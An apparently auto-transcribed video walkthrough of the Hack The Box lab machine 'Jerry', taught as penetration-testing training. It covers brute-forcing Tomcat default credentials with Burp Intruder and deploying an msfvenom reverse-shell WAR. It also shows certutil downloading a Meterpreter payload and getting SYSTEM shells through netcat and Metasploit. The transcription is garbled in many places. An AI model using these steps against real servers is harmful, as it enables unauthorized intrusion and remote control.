So today's machine is going to be Jerry.
Jerry leaves at ten not ten ten that ninety five.
So if you're not already on this site go ahead and go to hack the box stop.
You go over here to your all machines and scroll down to Jerry and hit the play button.
Once you've got that all set up let's go ahead and get Jerry scanning so I'm and open up a new terminal
here and we'll do our typical scan install where I scan it.
We'll talk about it until the scan comes back and then we'll look at the scan so you can go ahead and
use your favorite scan method.
You should know mine by now.
Very straightforward here
and we'll let that run so let's talk about Jerry.
Jerry is a Windows machine as we can see here.
And historically Jerry is one of the most rooted and easier machines on Hack the box.
We can see here that it's got 12000 user owns and roots and we can see from the rest that I mean the
next closest analyst list is eight thousand right.
So by far Jerry is one of the most rooted if not the most rooted machines.
So while it's easy it does not mean that it does not have important lessons to teach us.
The most important lesson we're gonna learn today is about default credentials.
Why are default credentials so bad and why are they so common still.
I run into default credentials as a pen tester all the time on the external web.
In my history I have run into Cisco Cisco on a default credential on a Cisco router leading to internal
network access.
I have got domain admin off of a printer with default credentials on an internal network.
I've gotten a reverse shells of the default credentials on internal networks so default credentials
can lead to some very very bad things and you're going to see an example of that today.
On top of that what we're going to be doing is we're going to be doing some bash scripting.
We'll do a little bit of brute forcing we're going to be using brb sweet today.
There's a lot of cool tactics that I can show you that are are going to just improve our learning process.
On top of that I'll talk about some manual exploitation for this machine Lee's MSF venom generates some
shell.
But we'll use net cash to actually get in the machine and then we'll talk about file transfers and how
to improve.
So we've got a lot to learn from a very very basic box.
So let's go ahead and just take a look at the scan now so our scan came back and sixty five thousand
five hundred thirty four ports were filtered.
That is great.
Why is that great.
That means we only have one port to focus on here in that port is 80 80.
Now there are some situations where there might be hit imports like Port knocking but for a machine
this easy on Hack the box.
I'm not thinking that that's the path.
So when we're looking at 80 80 this says hey vulnerability for sure somewhere in 1880.
That's where you're going to get it.
So we've got some version information here we could see Apache Tomcat with the GSP engine of one point
one and we can also see Apache Tomcat version number here of seven point zero point eight eight.
So as we talked about before this is perhaps a default web page.
We're getting a lot of Tomcat information here.
And if it's not a default web page why are they disclosing their server headers with service information.
Know that's just a no no.
We would write this up on a pen test report as a finding.
So there are some things that we can do off on off the bat here.
You know my first decision as always to go to the Web page and see what I'm working with.
But if we do want to we can also google something like Apache Tomcat seven point zero point eighty eight
exploit and see if there's any exploits out there we could do the same for this GSP engine and see if
there's any exploits for that.
That would be version exploits.
Right before we do that or we're not actually going to get into that but before we did that my step
would always be to go out to the web page just to see what's going on.
And in this instance we're working with poor 80 80 so we're going to go out and we're just going to
go to 10 that 10 that 10 ninety five.
You can see I have it here with the port 80 80 at the end.
Go ahead and hit enter and we're brought to this Apache Tomcat page.
Now this is this is not a good page should be leaving open open or even if it's on the the internal
network.
But if this is on the externals is bad you'll find this on external networks.
People will tuck it away under like Slash manager or slash admin or whatever because of this over here
on the side is what gets you into the admin panels.
So you do see this a lot.
This Apache Tomcat is very realistic.
And if there is any sort of guest book credentials on on this side of the house Oh it's it's game over
and you're going to find out why.
So this would be a finding two depending on what you're doing and this is external.
This is like hey why do you have this up.
You know you should put this behind a VPN so that only you can access it when you're on the internal
side.
Don't leave this open on the external network on the internal side you know is this is this V land off.
Who has access to this page.
Why do they have access to this page.
You don't want this easily accessible by any means.
So we're at this page and we have this manager app over here on the side.
Now we can log in with the manager app and do some malicious things.
But before we can log in here one of the first things I do when I see a log in on a log in page like
this with the service version I'm going right to Google and say Hey Google what's up.
Let's talk about Apache Tomcat default credentials and let's see what we can pull up.
First thing that comes up is get hub right.
And we can come into GitHub and get hub has this wonderful list because Tomcat has quite a few default
credentials.
So what we can do is we can take this list and use it in a brute force.
Now there are tools out there that'll do this for us.
I kind of want to get a little crafty today and teach us some manual methods.
I think that will be more fun.
So what we're going to do is we're going to fire up brb sweet in the newer bird so the air's out with
this Java air.
Don't worry about it too much.
We're not gonna worry about fixing it today.
I'll just work around it.
So we're going to go ahead and just click next insert burp with default now in order to get brb sweet
working there is this proxy here right in the proxy if we go actually into options tab it sits at 1
2 7 0 0 1 the home address on port 80 80 and this is how we intercept traffic so we need to actually
do that we need to go into our little hamburger menu here and go up to preferences or down to preferences
scroll all the way down and at the very bottom is the network proxy we're going to filter all of our
traffic through brb sweet right now you should be set to use system proxy settings go ahead and select
manual proxy configuration.
1 2 7 0 0 1.
Here or 80 80 here and click the box for use this proxy server for all protocols.
So it should look like this when it's all said and done OK.
So we'll hit okay on that and we'll test this out if we go back to the Apache Tomcat and we just hit
enter.
It shouldn't load it should freeze here.
Some things should just be spinning and if you look at your proxy proxy got intercepted what's going
on.
Well what's happening here is we intercepted the request and before we send it to the page we have the
opportunity to modify it.
We can say instead of a get request you to put this as a poetry class we can get malicious in here we
could do all sorts of things.
And this is where where that testing really becomes fun is when we start tampering and doing certain
you know malicious activities with with these requests.
But for now let's just go ahead and forward it.
And you should see the page reloads.
Perfect what we're after today is this manager app.
So if we click on manager app and you see that OK it freezes on manager.
Let's just for this request and see what happens.
All right.
So ten ten ten ninety five eighty eighty.
It's asking us for credentials Well there's twenty one or so on that list but one I did remember was
Tomcat tomcat.
So let's try Tomcat Tomcat and just say OK now immediately this intercepts the request and a lot of
times what you'll see is you'll see a username field and a password field here.
But we're actually getting this authorization basic and it looks like it's encoded with base64.
You could usually tell this by the equal signs at the end typically.
So we can do here is we can right click on this and we can say send this to decoder is one option we're
going to do and you'll see your decoder tap lights up.
Right.
And you come in here and you just scroll down and highlight this whole area and let's see what it's
doing we'll decode as over here and we'll say base64 if we scroll down you can see it's just saying
hey Tomcat colon tomcat.
So username colon password is what it's attempting and let's go ahead and forward this and see what
happens doesn't look like it worked.
Right.
So we forwarded it and it didn't work.
OK.
We could try manager Tomcat or something along those lines.
And this time what we can do intercept it one more time.
We could do a couple different cool little things.
One is we could say hey send this to repeater and Hey Number Two send this to intruder so we'll see
both of our tabs light up if we look at a repeater repeater just repeats requests we have the opportunity
instead of sending it in real time with a proxy to come back over here and send the request and see
what the response is.
So this is where we can kind of just play with certain requests and see how the server responds.
So if we hit go on this we could see that we got a 4 or 1 unauthorized so far one means hey you did
not get access to here.
So this set of credentials is incorrect.
And OK let's just go ahead and turn the intercept off or let this go and cancel and then let's go ahead
and try brute forcing this because you know there's 20 something here right 30 lines it says 30 lines
of passwords.
That's a lot of passwords.
So what we'll do is let's go into our new window OK and let me make this better and I'm going to use
git it because I like get it.
So let's just say get it tomcat.
Text what we'll do here is we will copy all these usernames and passwords
and then paste them into here
now select the space in between.
Remember the format that we had.
We've got to put this into base64.
So what we're gonna do I guess is you're explaining that a little bit better is we sent our request
to intruder and if we come into positions here we see that our request is sitting here what intruder
is going to do is do a brute force style attack based on the attack type that we select.
Well the requests are coming through in base64.
So we have to put these into base64 in that format that we saw see user name calling passwords.
We're going to do the same thing now is get this setup.
Then we're going to convert these to base 64 and then we're going to fire them off.
So first things first let's go back into here we've got this little space copy let's hit control H.
That's our fine and replace.
Let's go ahead and just paste that space here.
And what we're gonna do is we're going to just replace everything that has that kind of space with this
colon or replace all.
And look how easy that was.
So now we've got a set list of credentials here that is actually twenty five lines long.
And so we're gonna say this out and we're gonna write a little batch script.
So if you have never used any bash scripting one I recommend watching some videos on bash scripting.
I've got a feel my channel if you watch the tail end of the Linux for ethical hackers course it's in
there.
I've got individual videos on it as well.
Pretty much typically the same lesson but the the importance of what you're about to see is called a
for loop and for loops are awesome you see one line for loops a lot and they're just very useful when
it comes to pen testing.
So let's break down what we're going to do.
So we've got credentials in this list right.
We've got these credentials and we'll just take one for an example.
We want to convert this.
These credentials into base64 so one way we can do that is we can as Echo and we say echo dash in and
we're gonna say I want to put that say Tomcat Tomcat right like that into base 64.
This is the command to do that and there it is.
Now if we were to decode this this would come back out as Tomcat Tomcat OK that's cool but we've got
a long list here in this Tomcat dot text and what we need to do is do this for everything in that list.
So let's write a for loop and we'll talk through it.
So I'm going to say for Fred and you'd call this whatever you want you call it Bob if you want but for
credit it's our variable in and we've got to specify what we're what the credentials are and where they're
at.
So every line here is going to be a credential in this loop.
And I'll explain it a little bit better detail but we're gonna cat out this Tomcat dog tags meaning
word to print all the lines.
And what's going to happen is we're going to do something we're going to do an echo dash.
And for that credential and we're going Python into base64 and then we're gonna say done.
So what's happening here.
A for loop means you're going to do something for everything in that instance.
Right.
So for the first line in Tomcat dog tags for the second line for the third line until you are completely
done so for credential.
All we're saying is hey the first line we're going to call that crowd.
And then when that first line prints out and this cat we're gonna put it over here in this echo command
put it through base64 and then we're we're going to go back again in the second line we're going to
call that cred.
We're going to do it again and then we're gonna go all the way through and base64 all of these and then
it should print out and be done.
Boom look at that.
OK.
So you've got all the credentials that we just put through in base64 format so we're gonna do is just
this copy all these here
and we're going to go back into brb sweet now of course.
Like I said there is a tool that's out there for this or you can manually type these but with so many
default granules most Web sites all or most programs only have like two sets of default credentials.
But Tomcat for whatever reason has a lot.
But here we go we're in brb suite now in order to use intruder.
We need to set up what we're going to intrude on.
So here we need to set our payload parameter area.
We're going to set the position of one here.
This is position 1.
OK.
And we're saying hey everything here this is what we're going to replace.
So we're going to use a sniper attack and sniper just means one.
That's how you can think of it.
This is just one payload that we're gonna be sending off.
So if we go into payloads tab over here we can just hit paste on our list and you can see now it's going
to fire off twenty five payloads what it's gonna do is it's going to replace the base 64 that we highlighted
with the base 64 that's here.
One other thing that we need to take off here is this you are all encoding it's going to attempt to
you are all in code these characters and in this instance if it tries to you are out in code these equal
signs is actually going to fail for us.
So it should be noted that we're also on a free community edition of brb suite.
Thus it's going to be slower.
The free edition is very slow.
The pro edition very fast.
So we're gonna head start attack and it's gonna say Hey we're gonna slow this down just to be jerks
and what's gonna happen here is we're going through all twenty five requests.
Right.
And you can see different status codes come through.
I mean that's what we're looking at we're looking at two things.
One we could sort by status code two we could sort by the length here.
Now some advanced topics or tactics is when you're running through thousands say you're doing a user
name.
Brute force and you're trying to find the one person that you know might have gone through you can come
through say on our response and you could see something in here that says like you're not authorized
to be this page you can copy you're not authorized and you can paste it down into your payload rules
here or options and say hey grep on this and then you'll have a little checkbox up here that says you
are not authorized and it will check every time it comes through here.
And then you could just sort by that.
So if you click on these you can sort by different things right.
So length is a big one if length changes look how significant in this length is here and you see the
rest of these.
Nothing.
Any four hundred we don't really care about this one for all three for whatever reason forbidden access
denied this one that might be a valid set of credentials but we don't have access to that application.
This one is a valid set of credentials that does look at the two hundred status that means.
OK.
And on top of it we have a 17000 length compared to two thousand or three thousand here.
So significant differences but in long lists it's better to grep on something like an error and then
just sort by that air with the checkboxes to find you know maybe a different message that came through
as opposed to just looking for a length or status codes because you might get like a 3 0 to redirect
or something on a log n or successful log in.
OK.
So here we've got these credentials which these actually come out to Tomcat secret is how that played
out.
So this is Tomcat secret in case you are curious
OK.
And so that log this in so let's go ahead and say no to these changes.
We know for sure that we're in.
Let's go to the page and what I'm going to do for the rest of this time I'm going to go ahead and turn
off Barb sweet and these proxy settings and let's just log into the manager app with our newfound credentials
and you could a base decoded this.
I was just being lazy by the way.
You could come in here and say hey what is this because I have no idea I can't read this.
You can easily just go to decoder and decode that right and see that it's Tomcat secret OK.
So from here we are now in the application itself so if you've never been in a tomcat application they
use something called War files okay war files are used to upload here and they deploy these applications.
You see Manager host manager examples blah blah blah.
Well we can do is upload a malicious war file and get a reverse shell.
See there is a area here to upload a war file.
Now this is your first time in the application in your new and you're like oh man what am I doing here.
You say OK well I see that there's a war file.
I wonder if I can be malicious at that.
And then you might go and say or file reverse shell or something along those lines war or file exploit
and then you could see there's all kinds of articles that come through using medicinally to create a
war backdoor Apache Tomcat war backdoor.
So this is the kind of information that we're after a couple of the things that we see down here that
help us out as well is we see that we're running on a Windows Server 2012 our two.
That means that we're likely running on 64 bit.
Right.
This is our two server and we get some information about the OS.
That's nice.
Oh AMG 64 it is 64 bit.
So we picked up a little bit information hostname and IP address so a little bit information disclosure
there as well that'll help us when we're trying to make this this war file.
Right.
So what we're gonna use is a MSF venom.
There's Tomcat war river shell massive animals click on that here.
This is good.
So this creating Metis flight payloads here.
This net set out W.S. is good.
There's a lot of cheat sheets out there for different ones.
This is a very nice cheat sheet that I like to go to as you can see I've already been to it before.
You could just go down the list like if this is a BHP site we can go to a site and I think I've showed
you this before for the ISP.
Same thing here we're just using a war file.
We're gonna generate this on our own.
So let's go ahead and let's control El and if we see what it wants us to do.
Luscious all this copy and paste it will be lazy OK.
And we'll paste it in now we have two options here.
Right.
We can do the manual method which is what we're doing or we could do the Metis point method.
We'll do the manual method today but we could change the payload to a mature printer payload and use
the exploit handler.
I met this boy and get an exploit or Metis flavor shell easily.
OK.
So let's go back and let's just talk about overseeing MSF venom dash P for payload.
We are running on Java on this platform and we're gonna be using a GSP shall reverse TPP.
Notice all the underscores not the forwards.
This is getting sent all at once.
This is an onstage payload not a stage payload.
So let's go ahead and enter in the IP address that we're going to be using.
I actually don't know mine so I'll open up a new tab really quick and do the ISF config or your IPA
10 not 10 to 14 not twenty four for me.
So we're gonna be listening on our IP address and you can listen in on the port of your choice.
I will this use the standard all four is on this machine and then we're going to generate this
and it takes just a second here OK.
We have generated a shell dot war file.
That means we need to be listening on this 4 4 4 4 in order for this shell to come back to us.
Let's go ahead and use net cap dash and the LP so net cat is a listener slash connector.
It's a port tool.
It's it's amazing functionality.
What we're really doing here is we're saying hey net cat I want to listen right now and again remember
when we're doing reverse shell that just means somebody talks back to us.
All we have to do is listen.
So we're gonna be listening on all fours.
That's the part we're listening on now.
What's gonna happen is this is going to say we're going to upload it and then it's going to try to connect
back to the IP address that we supply.
Let's go ahead and browse for that war file.
I put mine in my root folder and there it is Shell that war.
And we're gonna say deploy we've deployed it.
You can see here that it is slash shell and we've got nothing yet.
But we can force this along and get that shell by going to it and boom look at that.
It talked back to us.
We are so malicious.
OK.
So the best thing about this box also is who am I.
Authority system.
Right off the bat.
And if we go to the users file remember this from a long time ago.
If we say Dir.
Actually desktop sorry and we say Dir.
And we type.
You see it's flags or it might be is that.
That's a directory.
Let's go to the flags directory and then do Dir.
And then two for the price of one they actually give you both flags here.
So the fact that there are people that only had there were there were more root bones and there were
user owns for whatever reason some people decided they didn't want the user on this machine.
But both flags are sitting in there.
So I think that's funny.
Anyway we're back in here OK.
We have system on this machine we can do all kinds of commands and look around right.
You know we can look at the ARB see who we're talking to sorry our dash a we're not talking to anybody
but ten two and ten to two fifty five.
Now this really isn't useful again.
This is just for your knowledge it's not going to be very useful in a hack the box environment like
this if you're doing like a lab environment super useful to see who it's talking to.
Same thing with net stack.
Same thing with the root route print on Windows.
So OK.
We found our flags this is cool but we're still in that limited flexibility.
So let's go ahead and talk about how we can improve the shell again we're going to use medicinally.
We're going to do this a little bit outside the box this time.
So what I want to do is I want to create a reverse shell to this machine.
We're going to generate a new reverse shell so we'll come into here and we'll we'll use MSF then I'm
like before.
So we'll say MSF venom we'll do a payload here windows because we know it's a Windows machine.
X sixty four because we know it's 64 bit and will they say interpreter
and then we'll try shell reverse TCT.
And that may or may not work.
So we'll try staged an on stage here.
Our l host again is minus 10 to 10 to 14.
Twenty six the El port is going to be let's do 5 5 5 5.
So we don't interfere with the all fours are already on and then all we need is a file type which is
e XY and we'll put that into a show all those call s h dot XY let that generate on top of that.
Let's go ahead and go into Metis flight and we'll say Hey Metis flight.
How are you doing.
I want to run your exploit handler.
So this should look familiar from last time and it looks like I picked up a bad a bad shell here so
maybe I don't know what I'm doing.
So let's go into use exploit mole Thai handler and let's see what the name of that is.
So we'll say set payload and we'll say Windows you a tab it's a little slow x 60 for interpreter I think
it's just maybe reverse DCP.
Yeah.
I shall reverse DCP it's just reverse DCP and delete that regenerate it sorry and come back in here
while that's regenerating we could say options and will this a set I'll host.
Same thing we just specified fourteen not twenty six set out for all five and now we're just going to
run this and listen on it
said it failed to bind.
Why is it failing to bind let's check our IP one more time Fourteen that twenty four guys I am screwing
up so bad.
OK.
Hopefully you're running the right IP address and you're not being like me.
I have to fix this payload really quick.
To be twenty four I've been doing the offshore labs all week all last week in my IP addresses was a
little bit different.
So that's kind of why I'm getting these numbers mixed up.
OK.
So we're running on this now and we are also running on the correct payload.
So how do we get a file onto a Windows machine.
Well first and foremost we need to host a web server.
The easiest way to host a web server is with python.
Now we could to save Python dash M and we could say h TTP simple sorry simple H TTP server on 80 like
this.
And that's going to load up a simple HP server.
So we're in here and now we're hosting up every single file that is in this root folder.
So that's a nice thing.
We've got instant access to everything that's here.
We can cut it out as soon as we want to and be done so we can go to our 10 not 10 not 14 not twenty
four and see everything that I'm hosting here.
And then as soon as I don't want to host it anymore and you can see what's going on as well that status
commands awesome control C I come back and it's dead.
So it's just for as long as you need it.
So we've got the the shell now being hosted.
And when we talk about collecting a or transporting files on windows there is a tool that's on there.
Now it's starting to get picked up by a defender but for a long time it didn't.
So on assessments it still works fairly well.
What we can do here is a built in tool now everybody knows about W get for Linux.
This is my idea of the quick and dirty way of doing like a W get for Windows.
That's not very commonly well known.
So let's just go and say we'll just put it on in the fly folder that's fine.
So we'll say sir you tell
cert you tail like a type and we're going to say dash you or I'll cash meaning we're bringing over a
file the you or l we're going to do a dash F for the file and say hey I'm going to grab 10 10 14 20
four slash s h dot EMC.
And while I'm at it let's put that file in users administrator desktop flags and we'll also call it
s h dot EMC OK you can see it grabbed it we can say Dir.
Just to make sure ok essay shot is in here.
And on top of that if we go to our file server you can see that s h that you see was actually retrieved
by a file server.
So this is nice when you're running like a blind payload on a web server and you don't know if it's
actually downloading.
You can have a download something to see if you got command execution like this and know for sure that
something came through.
I ran into that this just this past weekend actually so from here we going to say S H E EMC run it and
look what happened.
We now have a return printer reverse shell.
Now in the real world this is going to be picked up fairly fairly easily I would imagine.
But you know we could obfuscate this more but in a situation like this or even a bad environment where
they don't have good 80 something like this is not going to get picked up at all.
So this is just a nice way to show you like hey we can get a return pretty session and now we can just
do a hash.
You know we have control over what we can do.
And we have a lot more flexibility again.
So yes it ends in interpreter but we went a very manual method of doing it.
We also what did we learn today.
We learned default credentials are very bad and can lead to very bad things.
We learned that we can use some nifty little tricks in for loops and get something done very quick with
some basic bash scripting.
We learned how to use burb suite we learned about repeater in the proxies an intruder.
A lot of cool features in there that will only dive into more as we go.
And we learned how to transfer files on a Windows machine to improve a shell and just you know get better
overall.
So thank you so much for joining me and until next time my name is TCM.
Thank you for having me.